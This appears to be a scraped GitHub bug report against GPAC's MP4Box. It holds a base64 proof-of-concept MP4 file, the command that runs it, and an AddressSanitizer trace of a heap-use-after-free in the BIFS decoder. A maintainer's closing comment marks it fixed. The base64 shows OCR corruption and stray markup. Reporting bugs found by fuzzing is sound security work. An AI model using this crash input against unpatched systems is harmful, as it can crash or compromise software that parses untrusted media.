E9DFTAYwS6JZoNyNg9PLp4EC1CG9uFU0tgyQDJNZOIWqEZr/U9//sLEfgAAQBOAHFzYoG1pRxa7A Yjd94hHAQlHHgwLDT1R2E504EBSbBchVFikp3nmgwYj3//yeHxE8sgyH4C4AYHi8GhWvK5gSYoYF bZ8AA3MABKNCB8MDMtTQS+cQljRf9oboAAIAbLAAAAAAAAAAAAAAAByVtZGlhAAAAIG1kaGQA AP/xSJzZX0ic2V8AAV+QAB9PoAAAAAAAAAAAAAGCgAAAAAAAAAAGludAAA//8AAAAAAAAAAAAAA AAYAAAPoZgAAABxobWhkAAAAAAXABAQAA1mAAAMVywAAAAJ4AQEupR2AQoMf0/4fwAExsUQFGQnf NYbERmRkXgg6grJorcWVlcRghZf0MPGI//CXgJAKCkxlXVibFIkAAAAAACRkaW5mAAIAAGRyZWYA AAAAAAAAAAAAAAX1cmwgAAAAAAAAAAABpRzdGJsAAAANHN0c2QAAAAAAAAAAAAAACRydHAgAAAAAAAA AAEAAQABAAAFtAAAAAx0aW1zAAFfkAAAABhzdHRzAAAAAAAAAAAAFAAAFWAAAXcAAABWxzdHN6AAAA

AAAAAAAAAFWAAAAkwAAACAAAAAgAAAAIAT/+CAUAAAgAAAAIAAACAAAAAAAbYUCoEsowHGhH+s AAA8AAAAPAAAADwAAAAgAAAAWAAAACAAAAAgAAAIAAAACAAAAAUdGZoZAACACAAAAABAgAAAAAA ABC6664NCmE9cnRwbWFwOjk3IG1wZWc0LWd1bmVyaWMvND0xMDANCmE9Y29udHJvbDp0cmFja01E PTYNCmE9bXB1ZzQtZXNpZDo1DQphPWZtdHAZAgAgc3RyZWFtdHlwZT01OyBwcm9maWxlLWxldmVs LWlkPTE1OyBtb2RlPUFBQy1oYnI7IGNvbmZpZz0hMjETOyBTaXplTGVuZ3RoPTEzOyBJbmRleExl bmd@aD@zOyBJbmRleER1bHRhTGVuZ3RoPTM7IFByb2ZpbGU9MTsNCgAAAMhoaW5mAAAAEHRycHkA AAAAAARIewAAABBudW1wAAAAAAAAAAAAOdHB5bAAAAAABD9LAAAAEG1heHIAAAPoAAAyuAAA ABBkbWVkAAAAAAAENhsAAAAAAGltbOAAAAAAAkwAAAAEGRyZXAAAAAAAAAAAAAAAX0bWluAAAA AAAAAAx0bWF4AAAAAAAAAAxwbWF4AAAFtOAAAAxkbWF4AAAUAAAACBwYX10AAAAAYRNtcGVnNC1n ZW51cmljLzQ0MTAwAAABsYByYWsAAABcdGtoZAAAAAFInNlhSJzZYQAAAAcAAAAAAAAAAWgAAAAAA ATFtZGlhAAAAIG1kaGOAAAAASJzZYUic2WEAAAPOAAAAAOAAAAAAAAAhaGRscgAAAAAAAAAAAAb2Rz bQAAAAAAAAAAAAAAAAAAADobWluZgAAAAxubWhkAAAAAAD/fyRkaW5mAAAAHGRyZWYAAAAAAAAA AQAAAAx1cmwgAAAAAQAAALBzdGJsAAAATHN0c2QAAAAAAAAAQAAADxtcDRzAAAAAAAAAAAAAAA ZXNkcwAAAAADgICAGwAHAASAgIANAQUAACEAAAEIAAABCAaAgIABAgAAABhzdHRzAAAAAAAAAAAA AAABAAAAAQAAABRzdHN6AAAAAAAAACEAAAABAAAAHHN0c2MAAAAAAAAAQAAAAEAAAABAAAAAQAAABRZdGNvAAAAAAAAAAEAAMkYAAAAHHRyZWYAAAAUbXBvZAAAAAUAAAABAAAACAAAAZ10cmFrAAAA nNlhAAAD6AAAAAEAAAAAAAAIWhkbHIAAAAAAAAAAAAHNkc20AAAAAAAAAAAAAAAAAAAAAAAG1pbmYA AFRzdHP/w//wlA4AAiIAACBQAAIaCAOAAIiAAAgUAACGgg80AAIiAAAgUAACGggDgACIgAAIFAAA hoIPxh8IfCcOAAIiAAAgUAACGgyw4AAiIAACBQAAIaDLDgACIgAAIFAAAhoMsOAAIiAAAgUAACGg y4w//wlA4AAgigACHoAAIFSAOAAIIoAAh6AACGgg8OAAIIoAAh6AACGggDgACCKAAIegAAhoIPxh 8IfCcOAAIIoAAh6AACGgyw4AAgigACHoAAIaDLDgACCKAAIegAAhoMsOAAIIoAAh6AACGiy11111 111111111x2AIAAEDEAAQFAAkEDEwMTADzefA4AAgigACDQAAIKdz/A4AAgigACDQAAIKdz4//8J wAWBAQCXg2WETERjEyqB6vdBmAACCIAAINAAAgpABBMzwABCFwHAAEEQAAQLAABBSACiZxAIB/8P RQAICg+H//gilgACAgIcoASCJiYmJiB5vCAABBFAAEGkAAQU7n/A4AAgigACDSAAO6dz/vtbW1tb W1rrrrrrg0KYT1ydHBtYXA6OTcgbXB1ZzQtZ2VuZXJpYy80NDEwMA0KYT1jb250cm9sOnRyYWNr SUQ9Ng0KYT1tcGVnNC1lc2lk0jUNCmE9Zm10cBk5NyBzdHJlYW10eXBlPTU7IHByiGZpbGUtbGV2 ZWwtaWQ9MTU7IG1vZGU9QUFDLWhicjsgY29uZmlnPTEyMTA7IFNpemVMZW5ndGg9MTM7IEluZGV4 TGVuZ3RoPTM7IE1uZGV4RGVsdGFMZW5ndGg9MzsgUHJvZm1sZT0xOw0KAAAAyGhpbmYAAAAQdHJw eQAAAAAABEh7AAAAEG51bXAAAAAAAAAAAXAAABB0cHlsAAAAAAAEP0sAAAAQbWF4cgAAA+gAADK4 AAAAEGRtZWQAAAAAAQ2GwAAABBkaW1tAAAAAAADTQVosmOyY4JSag2zxMYxrJy/93+AACALWUAA QEEKO0BoAEAS+3+aYRJkzgAAQAaABAd1IcRMfAP6NstqdN0eGJ2BmLXocMf4xDDCsbIsGDgACCIA AIeqkOAAIIoAAh6AACGiggAEkADBCZtRCyCXfYCbYgOMN4jYXYPFbCGP9QNPgggCDAB2oYOUIqW7 KJWxL/K9ORppaCBDcbgijqRBNlJ7AfAAIhIxn1v+FkXyGPgA8MFGIACIMoiHEmmpIFIKqoAmDFwA HwABAAMAeQWn7dQ8fAhSSdsZoCgB3pVwFVd5M75uAJ5zgiFh629FyD0YeEnUHnRbFu4gGbhFDH// CCHgAMmQ0AA6UX7AAoC9J14wRBSy2DFsJ11XHFYY/8A10Ff5gLR/AJvTIHGA2vIPfSMAAQHtL4AD jZiXwg1jAMQOOutAI1kn/e9NPI5GmlDHgH9eFMABGGQUhqTDUECOAAkwAAAAEGRyZXAAAAAAAAA AAAAAAx0bWluAAAAAAAAAAAAObWF4AAAAAAAAAAAxwbWF4AAAFtQAAAAxkbWF4AAAUAAAAACBwYX10 AAAAYRNtcGVnNC1nZW51cmljLzQ0MTAwAAABsYByYWsAAABcdGtoZAAAAAFInN1hSJzZYQAAAAcA AAAAAAAAAAAAAAAAATFtZGlhAAAAIG1kaGQAAAAASJzZYUic2WEAAAPOAAAAAQAAAAAAAAAAAAAAAA cgAAAAAAAAAb2RzbQAAAAAAAAAAAAAAAAAAAAADobWluZgAAAAxubWhkAAAAAAD/fyRkaW5mAAAA HGRyZWYAAAAAAAAAAAAAAAX1cmwgAAAAAQAAALBzdGJsAAAATHN0c2QAAAAAAAAAAAAAADxtcDRz AAAAAAAAAAEAAASZXNkcwAAAAADgICAGwAHAASAgIANAQUAACEAAAEIAAABCAaAgIABAgAAABhz AAEAAAABAAAAQAAABRzdGNvAAAAAAAAAAAEAAMkYAAAAHHRyZWYAAAAUbXBvZAAAAAUAAAABAAAA ZGhkAAAAAEic2WFInNlhAAAD6AAAAAAAAAAAAAAWhkbHIAAAAAAAAAHNkc20AAAAAAAAAAAAAA AAAAAAAAG1pbmYAAAAAMbm1oZAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAAAAAAAAMdXJsIAAA AH8AAAC4c3RibAAAAFRzdHNkAAAAAAAAAAAEAAABEbXAOcwAAAAAAAAAAAAAANGVzZHMAAAAAAAAAAA gCMACAAEgICAFQkNAAAQAAAAgAAAAIAFgICAAwAWQAaAgIABAgAAABhzdHRzAAAAAAAAAAAAAAAAAA

AAAAAQAAABRzdHN6AAAAAAAAAAABAAAABAAAAHHN0c2MAAABCAAAAAQAAAAEAAAABAAAAAQAAABRz dGNvAAAAAAAAP8AAMk5AA3A5m1kYXOA8f8AAAAAAADhIAAAAAALAOIAUAAAAAAAAAAAAAAAAAAAAAA 2AAAAAAAAAAAAAAAAIAAQ4AAAABAAAAAAAABAAECAAENAAAAgAAAAAAAQABAgABGgABAAMAAAAA AAEAAOIAAR4AAAAEAAAAAAAAABAAECAAEbAAAABOAAAAAAOABAAEAAAAA//Px40ABAAAACwECAFAA AAAAAAAAAAAAABAgjQAAAAAAAAAAAAAAAQIIoAAAAAAAAAAAAAAAECCNAAAAAAAAAAAAAAA AAABAgigAAAAAAAAAAAAAABkAQIIiAAAAAAAAAAAAAAAAIAARoAAAAGAAAAAAABAAECAAEUAAAA AAEAAAAAAAAAQACIQAACwECAFAAAAAAABcAAAAAAABagi4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAECCOgAAAAAAAAAAAAAAAAABgj4AAAAAAAAAAAAAAAQII6AAAAAAAAAAAAAAAAAIA ABIAAAAAAEAAQIAAR4AAAATAAAAAAABAAECAAEeAAAAFAAAAAAAAQABAAEAAAAAAAAAAAQAEAAAA CWECAFAAAAAAAAAAAAAAAAABAgjAAADoAwAAAAAAAAAQIIoAAAAAAAAAAAZMzMzDPMzMzMzMzM zMzMzMzMzMzMzMzMzMzMzMzH8AAAAAAAAAAAAWwlAAFkkgACBLMAApvdAAM0bwADzWQA BGx7AAUGywAFpB4ABj8MAAbhtwAHd5gACBU2AAix4AAJUqkACesYAAqDkQALJ8QAC8CxAAxfuAAM

 $\mathsf{Z}\mathsf{M}\mathsf{Z}$ KCePMuaBmbkBUCAwdMhTYiT6nrQKSAUVXgEe/IQx97b6d4nUG9C9YZCMGBoZ+SpA8QGc63ig00LF ${\sf Z}{\sf M}{\sf Z$ $\mathsf{Z}\mathsf{M}\mathsf{Z}$

zMzMzMzMzMzMzMzMzMzMzMzMzCAgICAgICAgICAgICAgICAgICAgICAgICAgICDMzMzMzMzMzMzM $\mathsf{Z}\mathsf{M}\mathsf{Z}$ ${\sf Z}{\sf M}{\sf Z$ AAAAABAAAAABAAAADwAAAAEAAAAXAAAADAAAAAEAAABsc3RjbwAAAAAAAAAAXAAA2/gAAzCUAAWSS AAIEswACm90AAzRvAAPNZAAEbHsABQbLAAWkHgAGP34ABuG3AAd3mAAIFTYAOXVMMjF3WldjMEwA AHKAAACXAAAAtQAAANMAAADxAAABDwAAASOAAAFLAAAJM3RyYWsAAABcdGtoZAAAAABInNlfSJzZ AAAAAEAAAAAAAAAAAAAAAAAByVtZGlhAAAAIG1kaGQAAAAASJzZX0ic2V8AAV+QAB9PhgAAAAAA AAAhaGRscgAAAAAAAAAAGludAAAAAAAAAAAAAAAAAAbcbWluZgAAABxobWhkAAAAAAAAAAAAAAA A1mAAAMVywAAAAAAAAKZGluZgAAABxkcmVmAAAA5wAAAEAAAAMdXJsIAAAAAEAAAAaUc3RibAAA ADRzdHNkAAAAAAAAAAAEAAAAkcnRwIAAAAAAAAAAAAABAAEAAQAABbQAAAAMdGltcwABX5AAAAAAYc3R0 PAAAADwAAABYAAAAeAAAADwAAAA8AAAAPAAAADwAAAAgAAAAIAAAACAAAAAgAAAAIAAAADwAAAA8 AAAAPAAAADwAAAA8AAAAPAAAADwAAAAgaAAAWAAACAAAAAgaAAAIAAACAAAAAgaAAAIAAACAA AAAgAAAAPAAAADwAAAA8AAAAWAAAAFgAAAA8AAAAPAAAADwAAAAgAAAAIAAAACAA////gAAAIAAA ΙΑΑΑΑ CAAAA A GAAA A IAAA A CAAAA A 8AAAA PAAAA DWAAAA 8AAAA PAAAA F GAAAA 8AAA A PAAAA DWAAAA G $\mathsf{Z}\mathsf{M}\mathsf{Z}$ ${\sf Z}{\sf M}{\sf Z$

 $\mathsf{Z}\mathsf{M}\mathsf{Z}$ zMzMzMzMzDWGSw0FQz2prcLGEsWbTMmhAWD4yH81SYCc10GGyaokqxxKLU9pbvFsT60eHGZxdhMI 6HqElBciAlQhcIfV2210iBo31K3GKyiGC6Y8M1u8ahaE4jsXEMMN9QRG2zNK1syIGRyyZpbycQfa YPjMKdEZ36DD8hwtI+ES4mWFu8ABgMI278jOXAEnAQtb//+AAO/v7+/v7+/v7+/v7+/v7+/v80/v AAAAAAAAAOrJXuzhGhTOYseF9zokq8wfhSgACAF+UigKfsL4pIlJVT///+HpgAsLJC5ZKqWT24B mHsqlMWq1K+tB8QAmkTpMWst/PLfoMPyHC0j4RLiZYW7wAGApDbvyM5cAScBC1vH0MeAAOAACQAA AABgAASAAAABAgAFtAAAAAkAAOAADAAAAAECAAHHAAAACQAABbQAAQABAAIAAAAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAGAADQAAAAECAAW0AAAACgAAAAAAAQABAAAA AADgAA4AAAABAgABowAAAAOAAAW0AAEAAQACAAAQAAAAGAADxAAAAECAAW0AAAACwAAAAAAAAQAB AAAAAADgABAAAAABAgAFVAAAAASAAAWOAAESAQADAAAAAAAHWAAEQAAAAECAAWOAAAADAAAAAAA AQABAAAAABgABIAAAABAgAFtAAAAAWAAAWOAAGRASAgICAgICAgICAgICAgICAgICAgICAgICAg

 $\mathsf{Z}\mathsf{M}\mathsf{Z}$ ${\sf Z}{\sf M}{\sf Z$ zMzMzMzMzMzMzMzMzMzMzMzBAQLNØ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

command:

./MP4Box -lsr poc

Result

```
~/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box -lsr poc
[iso file] Unknown box type dCCf in parent minf
[iso file] Missing DataInformationBox
[iso file] extra box maxr found in hinf, deleting
[iso file] Box "rtp " (start 9955) has 7 extra bytes
[iso file] Box "stsd" (start 9939) has 5 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
[iso file] Incomplete box mdat - start 11495 size 853069
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Unknown box type dCCf in parent minf
[iso file] Missing DataInformationBox
[iso file] extra box maxr found in hinf, deleting
[iso file] Box "rtp " (start 9955) has 7 extra bytes
[iso file] Box "stsd" (start 9939) has 5 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
[iso file] Incomplete box mdat - start 11495 size 853069
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 BIFS Scene Parsing
[ODF] Reading bifs config: shift in sizes (not supported)
[BIFS] name too long 1475 bytes but max size 1000, truncating
_____
```

==3330624==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000494 at pc 0x7fa720afa77d bp 0x7fffca7618d0 sp 0x7fffca7618c8

```
READ of size 4 at 0x610000000494 thread T0
    #0 0x7fa720afa77c in Q IsTypeOn /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/unquantize.c:151:12
    #1 0x7fa720afe187 in gf_bifs_dec_unquant_field /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/unquantize.c:397:7
    #2 0x7fa720ab6d21 in gf_bifs_dec_sf_field /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/field decode.c:84:7
    #3 0x7fa720ac040e in gf_bifs_dec_field /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/field_decode.c:517:7
    #4 0x7fa720ac137d in gf bifs dec node list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/field decode.c:618:7
    #5 0x7fa720abcdb3 in gf_bifs_dec_node /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/field decode.c:920:7
    #6 0x7fa720a96880 in gf_bifs_dec_proto_list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/com_dec.c:1143:12
    #7 0x7fa720a98391 in BD_DecSceneReplace /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/com_dec.c:1351:6
    #8 0x7fa720ad66b6 in BM SceneReplace /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory decoder.c:860:21
    #9 0x7fa720ad6ff7 in BM_ParseCommand /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory_decoder.c:910:8
    #10 0x7fa720ad76ee in gf_bifs_flush_command_list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory_decoder.c:951:9
    #11 0x7fa720a96969 in gf_bifs_dec_proto_list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/com dec.c:1162:5
    #12 0x7fa720a96070 in gf_bifs_dec_proto_list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/com dec.c:1132:8
    #13 0x7fa720a98391 in BD_DecSceneReplace /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/com_dec.c:1351:6
    #14 0x7fa720ad66b6 in BM_SceneReplace /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory_decoder.c:860:21
    #15 0x7fa720ad6ff7 in BM_ParseCommand /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory decoder.c:910:8
    #16 0x7fa720ad852e in gf_bifs_decode_command_list /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/memory_decoder.c:1019:6
    #17 0x7fa72127c2df in gf_sm_load_run_isom /home/aidai/fuzzing/gpac/gpac-
asan/src/scene_manager/loader_isom.c:303:10
    #18 0x7fa7212000fe in gf_sm_load_run /home/aidai/fuzzing/gpac/gpac-
asan/src/scene_manager/scene_manager.c:719:28
    #19 0x51cdb8 in dump_isom_scene /home/aidai/fuzzing/gpac/gpac-
asan/applications/mp4box/filedump.c:203:14
    #20 0x5004b4 in mp4boxMain /home/aidai/fuzzing/gpac/gpac-
asan/applications/mp4box/main.c:6146:7
    #21 0x7fa71fdd50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16
    #22 0x429b7d in _start (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x429b7d)
0x610000000494 is located 84 bytes inside of 192-byte region [0x610000000440,0x610000000500)
freed by thread T0 here:
    #0 0x4a203d in free (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x4a203d)
    #1 0x7fa7206f69dc in gf_node_free /home/aidai/fuzzing/gpac/gpac-
asan/src/scenegraph/base_scenegraph.c:1620:2
previously allocated by thread T0 here:
    #0 0x4a22bd in malloc (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x4a22bd)
    #1 0x7fa72072195c in QuantizationParameter_Create /home/aidai/fuzzing/gpac/gpac-
```

```
asan/src/scenegraph/mpeg4 nodes.c:12496:2
SUMMARY: AddressSanitizer: heap-use-after-free /home/aidai/fuzzing/gpac/gpac-
asan/src/bifs/unquantize.c:151:12 in Q IsTypeOn
Shadow bytes around the buggy address:
 0x0c207fff8040: fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
 0x0c207fff8060: fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
 0x0c207fff8080: fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c207fff8090: fd fd[fd]fd fd fd
 Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:
                 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:
                  fa
 Freed heap region:
                  fd
 Stack left redzone:
                  f1
 Stack mid redzone:
                  f2
 Stack right redzone:
                  f3
 Stack after return:
                  f5
 Stack use after scope: f8
 Global redzone:
                  f9
 Global init order:
                  f6
 Poisoned by user:
                  f7
 Container overflow:
                  fc
 Array cookie:
                  ac
 Intra object redzone:
                  bb
 ASan internal:
 Left alloca redzone:
 Right alloca redzone:
                  cb
 Shadow gap:
                  CC
==3330624==ABORTING
```

jeanlf commented on Jan 21

Contributor

fixed by fixing #2057

(a) jeanlf closed this as completed on Jan 21

Labels		
None yet		
Projects		
None yet		
Milestone		
No milestone		
Development		
No branches or pull requests		

2 participants



